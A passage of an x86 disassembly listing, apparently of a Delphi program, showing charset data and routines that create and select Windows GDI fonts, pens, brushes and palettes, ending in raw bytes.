dd 544553h, 0FFFFFFFFh, 0Eh, 52424548h, 435F5745h, 53524148h
dd 5445h, 0FFFFFFFFh, 0Eh, 42415241h, 435F4349h, 53524148h
dd 5445h, 0FFFFFFFFh, 0Eh, 544C4142h, 435F4349h, 53524148h
dd 5445h, 0FFFFFFFFh, 0Fh, 53535552h, 5F4E4149h, 52414843h
dd 544553h, 0FFFFFFFFh, 0Ch, 49414854h, 4148435Fh, 54455352h
dd 0
dd 0FFFFFFFFh, 12h
aEasteurope_cha db 'EASTEUROPE_CHARSET',0 ; DATA XREF: .data:4001ACFCo
align 4
dword_40014F2C dd 0FFFFFFFFh, 0Bh, 5F4D454Fh, 52414843h, 544553h
; DATA XREF: .data:4001AD04o
; ---------------------------------------------------------------------------
loc_40014F40: ; DATA XREF: .itext:40019382o
push 11h
mov ecx, offset dword_4001AC78
call sub_40013658
retn
; ---------------------------------------------------------------------------
align 10h
loc_40014F50: ; DATA XREF: .itext:40019387o
push 11h
mov ecx, offset dword_4001AC78
call sub_40013618
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40014F60 proc near ; CODE XREF: sub_40014F8C+187p
push ebx
mov ebx, eax
movzx eax, byte ptr [ebx+0Eh]
cmp al, byte_4001AAB6
jnz short loc_40014F82
mov eax, offset byte_4001AAB7
lea edx, [ebx+0Fh]
movzx ecx, byte ptr [eax]
inc ecx
call sub_40003510
jz short loc_40014F86
loc_40014F82: ; CODE XREF: sub_40014F60+Dj
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40014F86: ; CODE XREF: sub_40014F60+20j
mov al, 1
pop ebx
retn
sub_40014F60 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40014F8C proc near ; CODE XREF: sub_400155A4+6p
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = byte ptr -2Ah
var_29 = byte ptr -29h
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = byte ptr -26h
var_25 = byte ptr -25h
var_24 = byte ptr -24h
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFB0h
push ebx
push esi
push edi
xor edx, edx
mov [ebp+var_50], edx
mov [ebp+var_4C], edx
mov [ebp+var_48], edx
mov [ebp+var_44], edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_400151A8
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebx+10h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz loc_40015187
mov eax, ds:dword_4001F350
call sub_400148F0
xor edx, edx
push ebp
push offset loc_40015180
push dword ptr fs:[edx]
mov fs:[edx], esp
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz loc_40015168
mov eax, [ebp+var_4]
mov eax, [eax+14h]
mov [ebp+var_40], eax
xor eax, eax
mov [ebp+var_3C], eax
mov eax, [ebp+var_4]
mov eax, [eax+18h]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
mov eax, [ebp+var_4]
test byte ptr [eax+1Dh], 1
jz short loc_40015017
mov [ebp+var_30], 2BCh
jmp short loc_4001501E
; ---------------------------------------------------------------------------
loc_40015017: ; CODE XREF: sub_40014F8C+80j
mov [ebp+var_30], 190h
loc_4001501E: ; CODE XREF: sub_40014F8C+89j
mov eax, [ebp+var_4]
test byte ptr [eax+1Dh], 2
setnz al
mov [ebp+var_2C], al
mov eax, [ebp+var_4]
test byte ptr [eax+1Dh], 4
setnz al
mov [ebp+var_2B], al
mov eax, [ebp+var_4]
test byte ptr [eax+1Dh], 8
setnz al
mov [ebp+var_2A], al
mov eax, [ebp+var_4]
movzx eax, byte ptr [eax+1Eh]
cmp al, 1
jnz short loc_40015065
cmp byte_4001AAB6, 1
jz short loc_40015065
movzx eax, byte_4001AAB6
mov [ebp+var_29], al
jmp short loc_40015068
; ---------------------------------------------------------------------------
loc_40015065: ; CODE XREF: sub_40014F8C+C2j
; sub_40014F8C+CBj
mov [ebp+var_29], al
loc_40015068: ; CODE XREF: sub_40014F8C+D7j
lea eax, [ebp+var_44]
mov edx, [ebp+var_4]
add edx, 1Fh
call sub_40004AE8
mov esi, [ebp+var_44]
test esi, esi
jz short loc_40015082
sub esi, 4
mov esi, [esi]
loc_40015082: ; CODE XREF: sub_40014F8C+EFj
mov edi, offset aDefault ; "Default"
test edi, edi
jz short loc_40015090
sub edi, 4
mov edi, [edi]
loc_40015090: ; CODE XREF: sub_40014F8C+FDj
push edi
mov eax, offset aDefault ; "Default"
call sub_40004D48
push eax
push esi
lea eax, [ebp+var_48]
mov edx, [ebp+var_4]
add edx, 1Fh
call sub_40004AE8
mov eax, [ebp+var_48]
call sub_40004D48
push eax
push 1
push 400h
call sub_400064F8 ; CompareStringA
sub eax, 2
test eax, eax
jnz short loc_400150E1
lea eax, [ebp+var_4C]
mov edx, offset byte_4001AAB7
call sub_40004AE8
mov edx, [ebp+var_4C]
lea eax, [ebp+var_24]
call sub_400081B8
jmp short loc_400150FA
; ---------------------------------------------------------------------------
loc_400150E1: ; CODE XREF: sub_40014F8C+139j
lea eax, [ebp+var_50]
mov edx, [ebp+var_4]
add edx, 1Fh
call sub_40004AE8
mov edx, [ebp+var_50]
lea eax, [ebp+var_24]
call sub_400081B8
loc_400150FA: ; CODE XREF: sub_40014F8C+153j
mov eax, off_4001B0C8
cmp dword ptr [eax], 1
jnz short loc_40015120
call sub_40015918
cmp al, 80h
jnz short loc_40015120
mov eax, [ebp+var_4]
add eax, 10h
call sub_40014F60
test al, al
jz short loc_40015120
mov [ebp+var_29], 80h
loc_40015120: ; CODE XREF: sub_40014F8C+176j
; sub_40014F8C+17Fj ...
mov [ebp+var_26], 0
cmp [ebp+var_34], 0
jz short loc_40015130
mov [ebp+var_28], 7
jmp short loc_40015134
; ---------------------------------------------------------------------------
loc_40015130: ; CODE XREF: sub_40014F8C+19Cj
mov [ebp+var_28], 0
loc_40015134: ; CODE XREF: sub_40014F8C+1A2j
mov [ebp+var_27], 0
mov eax, ebx
call sub_400151C8
dec al
jz short loc_40015149
dec al
jz short loc_4001514F
jmp short loc_40015155
; ---------------------------------------------------------------------------
loc_40015149: ; CODE XREF: sub_40014F8C+1B5j
mov [ebp+var_25], 2
jmp short loc_40015159
; ---------------------------------------------------------------------------
loc_4001514F: ; CODE XREF: sub_40014F8C+1B9j
mov [ebp+var_25], 1
jmp short loc_40015159
; ---------------------------------------------------------------------------
loc_40015155: ; CODE XREF: sub_40014F8C+1BBj
mov [ebp+var_25], 0
loc_40015159: ; CODE XREF: sub_40014F8C+1C1j
; sub_40014F8C+1C7j
lea eax, [ebp+var_40]
push eax
call sub_40006678 ; CreateFontIndirectA
mov edx, [ebp+var_4]
mov [edx+8], eax
loc_40015168: ; CODE XREF: sub_40014F8C+59j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40015187
loc_40015175: ; CODE XREF: sub_40014F8C+1F9j
mov eax, ds:dword_4001F350
call sub_400148FC
retn
; ---------------------------------------------------------------------------
loc_40015180: ; DATA XREF: sub_40014F8C+47o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40015175
; ---------------------------------------------------------------------------
loc_40015187: ; CODE XREF: sub_40014F8C+34j
; sub_40014F8C+1F3j
; DATA XREF: ...
mov eax, [ebp+var_4]
mov ebx, [eax+8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400151AF
loc_4001519A: ; CODE XREF: sub_40014F8C+221j
lea eax, [ebp+var_50]
mov edx, 4
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_400151A8: ; DATA XREF: sub_40014F8C+1Co
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001519A
; ---------------------------------------------------------------------------
loc_400151AF: ; CODE XREF: sub_40014F8C+21Bj
; DATA XREF: sub_40014F8C+209o
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40014F8C endp
; ---------------------------------------------------------------------------
dd 0FFFFFFFFh, 7
aDefault db 'Default',0 ; DATA XREF: sub_40014F8C:loc_40015082o
; sub_40014F8C+105o
; =============== S U B R O U T I N E =======================================
sub_400151C8 proc near ; CODE XREF: sub_40014F8C+1AEp
mov eax, [eax+10h]
movzx eax, byte ptr [eax+1Ch]
retn
sub_400151C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400151D0 proc near ; CODE XREF: sub_400155D0+6p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
mov eax, [eax+10h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_4001525D
mov eax, ds:dword_4001F354
call sub_400148F0
xor eax, eax
push ebp
push offset loc_40015256
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_4001523E
mov eax, [ebp+var_4]
movzx eax, byte ptr [eax+1Ch]
movzx eax, word_4001AD08[eax*2]
mov [ebp+var_14], eax
mov eax, [ebp+var_4]
mov eax, [eax+18h]
mov [ebp+var_10], eax
mov eax, [ebp+var_4]
mov eax, [eax+14h]
call sub_40014D5C
mov [ebp+var_8], eax
lea eax, [ebp+var_14]
push eax
call sub_40006688 ; CreatePenIndirect
mov edx, [ebp+var_4]
mov [edx+8], eax
loc_4001523E: ; CODE XREF: sub_400151D0+34j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4001525D
loc_4001524B: ; CODE XREF: sub_400151D0+8Bj
mov eax, ds:dword_4001F354
call sub_400148FC
retn
; ---------------------------------------------------------------------------
loc_40015256: ; DATA XREF: sub_400151D0+22o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001524B
; ---------------------------------------------------------------------------
loc_4001525D: ; CODE XREF: sub_400151D0+13j
; sub_400151D0+85j
; DATA XREF: ...
mov eax, [ebp+var_4]
mov eax, [eax+8]
mov esp, ebp
pop ebp
retn
sub_400151D0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40015268 proc near ; CODE XREF: sub_40015600+32p
; sub_40015600+56p
mov eax, [eax+10h]
mov eax, [eax+14h]
retn
sub_40015268 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40015270 proc near ; CODE XREF: sub_40015600+6p
; sub_40015600+14p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
mov eax, [eax+10h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz loc_40015345
mov eax, ds:dword_4001F358
call sub_400148F0
xor edx, edx
push ebp
push offset loc_4001533E
push dword ptr fs:[edx]
mov fs:[edx], esp
mov eax, [ebp+var_4]
cmp dword ptr [eax+8], 0
jnz short loc_40015326
mov eax, [ebp+var_4]
mov eax, [eax+18h]
test eax, eax
jz short loc_400152D2
mov [ebp+var_10], 3
mov dl, 1
mov ecx, [eax]
call dword ptr [ecx+70h]
mov eax, [ebp+var_4]
mov eax, [eax+18h]
mov edx, [eax]
call dword ptr [edx+68h]
mov [ebp+var_8], eax
jmp short loc_40015309
; ---------------------------------------------------------------------------
loc_400152D2: ; CODE XREF: sub_40015270+42j
xor eax, eax
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
movzx eax, byte ptr [eax+1Ch]
mov edx, eax
sub dl, 1
jb short loc_400152E9
jz short loc_400152F0
jmp short loc_400152F9
; ---------------------------------------------------------------------------
loc_400152E9: ; CODE XREF: sub_40015270+73j
xor eax, eax
mov [ebp+var_10], eax
jmp short loc_40015309
; ---------------------------------------------------------------------------
loc_400152F0: ; CODE XREF: sub_40015270+75j
mov [ebp+var_10], 1
jmp short loc_40015309
; ---------------------------------------------------------------------------
loc_400152F9: ; CODE XREF: sub_40015270+77j
mov [ebp+var_10], 2
and eax, 7Fh
sub eax, 2
mov [ebp+var_8], eax
loc_40015309: ; CODE XREF: sub_40015270+60j
; sub_40015270+7Ej ...
mov eax, [ebp+var_4]
mov eax, [eax+14h]
call sub_40014D5C
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push eax
call sub_40006670 ; CreateBrushIndirect
mov edx, [ebp+var_4]
mov [edx+8], eax
loc_40015326: ; CODE XREF: sub_40015270+38j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40015345
loc_40015333: ; CODE XREF: sub_40015270+D3j
mov eax, ds:dword_4001F358
call sub_400148FC
retn
; ---------------------------------------------------------------------------
loc_4001533E: ; DATA XREF: sub_40015270+26o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40015333
; ---------------------------------------------------------------------------
loc_40015345: ; CODE XREF: sub_40015270+13j
; sub_40015270+CDj
; DATA XREF: ...
mov eax, [ebp+var_4]
mov eax, [eax+8]
mov esp, ebp
pop ebp
retn
sub_40015270 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40015350 proc near ; CODE XREF: sub_40015600+26p
mov eax, [eax+10h]
movzx eax, byte ptr [eax+1Ch]
retn
sub_40015350 endp
; =============== S U B R O U T I N E =======================================
sub_40015358 proc near ; CODE XREF: sub_400153AC+2Fp
; sub_40015840+18p
push ebx
mov ebx, eax
push offset dword_4001F338
call sub_40006520 ; RtlEnterCriticalSection
inc dword ptr [ebx+50h]
push offset dword_4001F338
call sub_400065E8 ; RtlLeaveCriticalSection
lea eax, [ebx+38h]
push eax
call sub_40006520 ; RtlEnterCriticalSection
pop ebx
retn
sub_40015358 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40015380 proc near ; CODE XREF: sub_40015458+13p
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
movzx edx, ds:byte_400153A8
mov eax, ebx
call sub_4001552C
push 0
push edi
push esi
mov eax, [ebx+4]
push eax
call sub_400066C8 ; MoveToEx
pop edi
pop esi
pop ebx
retn
sub_40015380 endp
; ---------------------------------------------------------------------------
byte_400153A8 db 1 ; DATA XREF: sub_40015380+9r
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400153AC proc near ; CODE XREF: sub_40015794+41p
var_1 = byte ptr -1
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
push offset dword_4001F338
call sub_40006520 ; RtlEnterCriticalSection
xor eax, eax
push ebp
push offset loc_400153F8
push dword ptr fs:[eax]
mov fs:[eax], esp
cmp dword ptr [ebx+50h], 0
setz [ebp+var_1]
cmp [ebp+var_1], 0
jz short loc_400153E0
mov eax, ebx
call sub_40015358
loc_400153E0: ; CODE XREF: sub_400153AC+2Bj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400153FF
loc_400153ED: ; CODE XREF: sub_400153AC+51j
push offset dword_4001F338
call sub_400065E8 ; RtlLeaveCriticalSection
retn
; ---------------------------------------------------------------------------
loc_400153F8: ; DATA XREF: sub_400153AC+14o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400153ED
; ---------------------------------------------------------------------------
loc_400153FF: ; DATA XREF: sub_400153AC+3Co
movzx eax, [ebp+var_1]
pop ebx
pop ecx
pop ebp
retn
sub_400153AC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40015408 proc near ; CODE XREF: sub_40015794+70p
; sub_40015840+8Ep
push ebx
mov ebx, eax
lea eax, [ebx+38h]
push eax
call sub_400065E8 ; RtlLeaveCriticalSection
push offset dword_4001F338
call sub_40006520 ; RtlEnterCriticalSection
dec dword ptr [ebx+50h]
push offset dword_4001F338
call sub_400065E8 ; RtlLeaveCriticalSection
pop ebx
retn
sub_40015408 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40015430 proc near ; CODE XREF: sub_400154D8+1Fp
push ebx
push esi
mov esi, edx
mov ebx, eax
movzx edx, ds:byte_40015454
mov eax, ebx
call sub_4001552C
push esi
mov eax, [ebx+4]
push eax
call sub_400066A0 ; GetCurrentPositionEx
pop esi
pop ebx
retn
sub_40015430 endp
; ---------------------------------------------------------------------------
align 4
byte_40015454 db 1 ; DATA XREF: sub_40015430+6r
align 4
; =============== S U B R O U T I N E =======================================
sub_40015458 proc near ; CODE XREF: sub_400154D8+4Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
push esi
push edi
add esp, 0FFFFFFF8h
mov esi, edx
lea edi, [esp+10h+var_10]
movsd
movsd
mov ecx, [esp+10h+var_C]
mov edx, [esp+10h+var_10]
call sub_40015380
pop ecx
pop edx
pop edi
pop esi
retn
sub_40015458 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40015478 proc near ; CODE XREF: sub_400154D8+16p
push ebx
push esi
mov ebx, eax
mov esi, [ebx+4]
test esi, esi
jz short loc_400154D0
movzx eax, ds:byte_400154D4
not eax
and al, [ebx+8]
movzx edx, byte ptr [ebx+8]
cmp dl, al
jz short loc_400154D0
mov eax, ds:dword_4001F310
push eax
push esi
call sub_400066D0 ; SelectObject
mov eax, ds:dword_4001F314
push eax
mov eax, [ebx+4]
push eax
call sub_400066D0 ; SelectObject
mov eax, ds:dword_4001F318
push eax
mov eax, [ebx+4]
push eax
call sub_400066D0 ; SelectObject
movzx eax, ds:byte_400154D4
not eax
and al, [ebx+8]
mov [ebx+8], al
loc_400154D0: ; CODE XREF: sub_40015478+9j
; sub_40015478+1Dj
pop esi
pop ebx
retn
sub_40015478 endp
; ---------------------------------------------------------------------------
align 4
byte_400154D4 db 0Eh ; DATA XREF: sub_40015478+Br
; sub_40015478+49r
align 4
; =============== S U B R O U T I N E =======================================
sub_400154D8 proc near ; CODE XREF: sub_40015840+66p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
push ebx
push esi
add esp, 0FFFFFFF8h
mov esi, edx
mov ebx, eax
mov eax, [ebx+4]
cmp esi, eax
jz short loc_40015527
test eax, eax
jz short loc_40015512
mov eax, ebx
call sub_40015478
mov edx, esp
mov eax, ebx
call sub_40015430
mov eax, [esp+10h+var_10]
mov [ebx+18h], eax
mov eax, [esp+10h+var_C]
mov [ebx+1Ch], eax
xor eax, eax
mov [ebx+4], eax
and byte ptr [ebx+8], 0FEh
loc_40015512: ; CODE XREF: sub_400154D8+12j
test esi, esi
jz short loc_40015527
or byte ptr [ebx+8], 1
mov [ebx+4], esi
lea edx, [ebx+18h]
mov eax, ebx
call sub_40015458
loc_40015527: ; CODE XREF: sub_400154D8+Ej
; sub_400154D8+3Cj
pop ecx
pop edx
pop esi
pop ebx
retn
sub_400154D8 endp
; =============== S U B R O U T I N E =======================================
sub_4001552C proc near ; CODE XREF: sub_40015380+12p
; sub_40015430+Fp
var_C = byte ptr -0Ch
push ebx
push esi
push ecx
mov [esp+0Ch+var_C], dl
mov esi, eax
movzx ebx, byte ptr [esi+8]
not ebx
and bl, [esp+0Ch+var_C]
movzx eax, ds:byte_400155A0
cmp al, bl
jz short loc_4001559B
test bl, 1
jz short loc_40015571
mov eax, esi
mov edx, [eax]
call dword ptr [edx+14h]
cmp dword ptr [esi+4], 0
jnz short loc_40015571
mov ecx, off_4001AF68
mov dl, 1
mov eax, ds:off_40012FE0
call sub_4000B0EC
call sub_400042E4
loc_40015571: ; CODE XREF: sub_4001552C+1Fj
; sub_4001552C+2Cj
test bl, 2
jz short loc_4001557D
mov eax, esi
call sub_400155A4
loc_4001557D: ; CODE XREF: sub_4001552C+48j
test bl, 4
jz short loc_40015589
mov eax, esi
call sub_400155D0
loc_40015589: ; CODE XREF: sub_4001552C+54j
test bl, 8
jz short loc_40015595
mov eax, esi
call sub_40015600
loc_40015595: ; CODE XREF: sub_4001552C+60j
or bl, [esi+8]
mov [esi+8], bl
loc_4001559B: ; CODE XREF: sub_4001552C+1Aj
pop edx
pop esi
pop ebx
retn
sub_4001552C endp
; ---------------------------------------------------------------------------
align 10h
byte_400155A0 db 0 ; DATA XREF: sub_4001552C+11r
align 4
; =============== S U B R O U T I N E =======================================
sub_400155A4 proc near ; CODE XREF: sub_4001552C+4Cp
push ebx
mov ebx, eax
mov eax, [ebx+0Ch]
call sub_40014F8C
push eax
mov eax, [ebx+4]
push eax
call sub_400066D0 ; SelectObject
mov eax, [ebx+0Ch]
mov eax, [eax+18h]
call sub_40014D5C
push eax
mov eax, [ebx+4]
push eax
call sub_400066F8 ; SetTextColor
pop ebx
retn
sub_400155A4 endp
; =============== S U B R O U T I N E =======================================
sub_400155D0 proc near ; CODE XREF: sub_4001552C+58p
push ebx
mov ebx, eax
mov eax, [ebx+10h]
call sub_400151D0
push eax
mov eax, [ebx+4]
push eax
call sub_400066D0 ; SelectObject
mov eax, [ebx+10h]
movzx eax, byte ptr [eax+18h]
movzx eax, word_4001AD1C[eax*2]
push eax
mov eax, [ebx+4]
push eax
call sub_400066F0 ; SetROP2
pop ebx
retn
sub_400155D0 endp
; =============== S U B R O U T I N E =======================================
sub_40015600 proc near ; CODE XREF: sub_4001552C+64p
push ebx
mov ebx, eax
mov eax, [ebx+14h]
call sub_40015270
push eax
call sub_40006700 ; UnrealizeObject
mov eax, [ebx+14h]
call sub_40015270
push eax
mov eax, [ebx+4]
push eax
call sub_400066D0 ; SelectObject
mov eax, [ebx+14h]
call sub_40015350
test al, al
jnz short loc_40015653
mov eax, [ebx+14h]
call sub_40015268
call sub_40014D5C
push eax
mov eax, [ebx+4]
push eax
call sub_400066E0 ; SetBkColor
push 2
mov eax, [ebx+4]
push eax
call sub_400066E8 ; SetBkMode
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40015653: ; CODE XREF: sub_40015600+2Dj
mov eax, [ebx+14h]
call sub_40015268
call sub_40014D5C
not eax
push eax
mov eax, [ebx+4]
push eax
call sub_400066E0 ; SetBkColor
push 1
mov eax, [ebx+4]
push eax
call sub_400066E8 ; SetBkMode
pop ebx
retn
sub_40015600 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4001567C proc near
var_424 = byte ptr -424h
var_420 = byte ptr -420h
var_408 = word ptr -408h
var_406 = word ptr -406h
var_404 = byte ptr -404h
var_3E8 = dword ptr -3E8h
var_3E4 = byte ptr -3E4h
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFBF8h
push ebx
mov [ebp+var_408], 300h
mov [ebp+var_406], 10h
lea edx, [ebp+var_404]
mov ecx, 40h
call sub_40002DFC
push 0
call sub_40006718 ; GetDC
mov [ebp+var_4], eax
xor eax, eax
push ebp
push offset loc_40015779
push dword ptr fs:[eax]
mov fs:[eax], esp
push 68h
mov eax, [ebp+var_4]
push eax
call sub_400066A8 ; GetDeviceCaps
mov ebx, eax
cmp ebx, 10h
jl loc_40015760
lea eax, [ebp+var_404]
push eax
push 8
push 0
mov eax, [ebp+var_4]
push eax
call sub_400066B8 ; GetSystemPaletteEntries
cmp [ebp+var_3E8], 0C0C0C0h
jnz short loc_40015742
lea eax, [ebp+var_3E8]
push eax
push 1
mov eax, ebx
sub eax, 8
push eax
mov eax, [ebp+var_4]
push eax
call sub_400066B8 ; GetSystemPaletteEntries
movzx eax, [ebp+var_406]
lea eax, [ebp+eax*4+var_420]
push eax
push 7
sub ebx, 7
push ebx
mov eax, [ebp+var_4]
push eax
call sub_400066B8 ; GetSystemPaletteEntries
lea eax, [ebp+var_3E4]
push eax
push 1
push 7
mov eax, [ebp+var_4]
push eax
call sub_400066B8 ; GetSystemPaletteEntries
jmp short loc_40015760
; ---------------------------------------------------------------------------
loc_40015742: ; CODE XREF: sub_4001567C+78j
movzx eax, [ebp+var_406]
lea eax, [ebp+eax*4+var_424]
push eax
push 8
sub ebx, 8
push ebx
mov eax, [ebp+var_4]
push eax
call sub_400066B8 ; GetSystemPaletteEntries
loc_40015760: ; CODE XREF: sub_4001567C+54j
; sub_4001567C+C4j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40015780
loc_4001576D: ; CODE XREF: sub_4001567C+102j
mov eax, [ebp+var_4]
push eax
push 0
call sub_40006748 ; ReleaseDC
retn
; ---------------------------------------------------------------------------
loc_40015779: ; DATA XREF: sub_4001567C+39o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001576D
; ---------------------------------------------------------------------------
loc_40015780: ; DATA XREF: sub_4001567C+ECo
lea eax, [ebp+var_408]
push eax
call sub_40006680 ; CreatePalette
pop ebx
mov esp, ebp
pop ebp
retn
sub_4001567C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40015794 proc near ; CODE XREF: sub_40015C34+3Bp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
mov eax, dword_4001AD44
call sub_40013AA4
mov [ebp+var_8], eax
xor eax, eax
push ebp
push offset loc_40015832
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_8]
mov eax, [eax+8]
dec eax
cmp eax, 0
jl short loc_4001581A
mov [ebp+var_4], eax
loc_400157C4: ; CODE XREF: sub_40015794+84j
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
call sub_400137FC
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
call sub_400153AC
test al, al
jz short loc_40015811
xor eax, eax
push ebp
push offset loc_4001580A
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, [ebp+var_C]
call sub_40015840
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40015811
loc_40015801: ; CODE XREF: sub_40015794+7Bj
mov eax, [ebp+var_C]
call sub_40015408
retn
; ---------------------------------------------------------------------------
loc_4001580A: ; DATA XREF: sub_40015794+4Do
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40015801
; ---------------------------------------------------------------------------
loc_40015811: ; CODE XREF: sub_40015794+48j
; sub_40015794+75j
; DATA XREF: ...
dec [ebp+var_4]
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_400157C4
loc_4001581A: ; CODE XREF: sub_40015794+2Bj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40015839
loc_40015827: ; CODE XREF: sub_40015794+A3j
mov eax, dword_4001AD44
call sub_40013B08
retn
; ---------------------------------------------------------------------------
loc_40015832: ; DATA XREF: sub_40015794+16o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40015827
; ---------------------------------------------------------------------------
loc_40015839: ; CODE XREF: sub_40015794+9Dj
; DATA XREF: sub_40015794+8Eo
mov esp, ebp
pop ebp
retn
sub_40015794 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40015840 proc near ; CODE XREF: sub_40015794+5Bp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0
jz loc_400158DB
mov eax, [ebp+var_4]
call sub_40015358
xor edx, edx
push ebp
push offset loc_400158D4
push dword ptr fs:[edx]
mov fs:[edx], esp
mov eax, [ebp+var_4]
mov eax, [eax+5Ch]
test eax, eax
jz short loc_40015882
push eax
mov eax, [ebp+var_4]
mov eax, [eax+4]
push eax
call sub_400066D0 ; SelectObject
loc_40015882: ; CODE XREF: sub_40015840+33j
mov eax, [ebp+var_4]
mov eax, [eax+60h]
test eax, eax
jz short loc_4001589B
push 0FFFFFFFFh
push eax
mov eax, [ebp+var_4]
mov eax, [eax+4]
push eax
call sub_400066D8 ; SelectPalette
loc_4001589B: ; CODE XREF: sub_40015840+4Aj
mov eax, [ebp+var_4]
mov ebx, [eax+4]
xor edx, edx
mov eax, [ebp+var_4]
call sub_400154D8
push ebx
call sub_40006690 ; DeleteDC
mov edx, [ebp+var_4]
mov eax, dword_4001AD44
call sub_40013AB8
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400158DB
loc_400158CB: ; CODE XREF: sub_40015840+99j
mov eax, [ebp+var_4]
call sub_40015408
retn
; ---------------------------------------------------------------------------
loc_400158D4: ; DATA XREF: sub_40015840+20o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400158CB
; ---------------------------------------------------------------------------
loc_400158DB: ; CODE XREF: sub_40015840+Fj
; sub_40015840+93j
; DATA XREF: ...
pop ebx
pop ecx
pop ebp
retn
sub_40015840 endp
; ---------------------------------------------------------------------------
align 10h
db 53h ; S
db 6Ah ; j
db 0
db 0E8h ; è
db 30h ; 0
db 0Eh
db 0FFh
db 0FFh
db 8Bh ; ‹
db 0D8h ; Ø
db 6Ah ; j
db 5Ah ; Z
db 53h ; S
db 0E8h ; è
db 0B6h ; ¶
db 0Dh
db 0FFh
db 0FFh
db 0A3h ; £
db 0Ch ; OFF32 SEGDEF [_bss,4001F30C]
db 0F3h ; ó
db 1
db 40h ; @
db 53h ; S
db 6Ah ; j
db 0
db 0E8h ; è
db 49h ; I
db 0Eh
